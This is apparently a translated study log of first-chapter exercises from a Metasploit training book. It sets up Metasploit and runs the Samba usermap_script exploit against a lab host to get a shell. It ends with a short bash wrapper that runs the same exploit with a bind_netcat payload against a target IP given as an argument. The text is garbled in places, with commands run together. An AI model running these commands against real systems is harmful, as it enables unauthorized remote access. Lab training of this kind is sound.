"Metasploit Devil Training Camp" first chapter exercises

Book P39
1. The time line is as follows:

* May 7, 2007:initial defect disclosure to the [email protected]

Email alias.

* May 7, 2007:initial developer response by Samba

Developer Gerald Carter.

* May 9, 2007:patch released by Samba developer Jeremy

Allison to IDefense for testing.

* Announcement to VENDOR-SEC mailing list

* May, 2007:public announcement of the security issue.

2, first find out Metasploit installation location:

# dpkg-s Metasploit

In the/usr/share/metasploit-framework

ls Aix      apple_ios  dialup   FreeBSD  irix   multi    OSX      unixandroid  bsdi       Firefox  hpux     linux  NetWare  solaris  Windows

Use the Linux shell command to count Windows 2000, Windows XP ... Number of infiltration attack modules in the target environment (no, skip it)

3. Running Msfconsole:

MSF > db_status[*] PostgreSQL selected, no connection

The solution can be consulted: http://r-7.co/MSF-DEV#set-up-postgresql (too long, I haven't tried it yet)

Because there are a lot of differences with the book, I finally decided to use the BT5 virtual image provided by the author.

After changing on BT5, a cool and awesome interface! But the IP address is 10.10.10.129, and the script does not match! Reset under:

vi /etc/networks//etc/init.d/networking Restart

Open Msfconsole:

MSF > db_status[*] PostgreSQL connected to Msf3dev

Add: For MSF and database connectivity issues in Kali 2.0, refer to the http://www.cnblogs.com/justforfun12/p/5205804.html

Solve the problem of database!

msf> use exploit/multi/samba/usermap_scriptmsf> show optionsmsf10.10. 10.254 MSF> exploit
[*] Command Shell Session 1 opened (10.10.10.128:4444-10.10.10.254:33721)

Successfully get the shell

VNC is unfamiliar, skip it for a while.

5.

# vim Us_attack.SH  1#!/bin/Bash2 #  3# A Shell script that uses usermap_script exploit to penetrate4# Other's system.  5# User needs to input the IP forRHOST as the only parameter. 6 #  7#2016.2. +by Jack8 #  9 TenMSFCLI Multi/samba/usermap_script Payload=/cmd/unix/bind_netcat rhost=$1E

Perform

sh us_attack. SH 10.10. 10.254

Get!

But there is a problem: the first ping from the BT5 10.10.10.254 (NAT) is not ping, you need to ping back to 10.10.10.128 (NAT) from Nat.

With BT5 In fact also has a big problem, because its server stops updating, apt-get can't use!

"Metasploit Devil Training Camp" first chapter exercises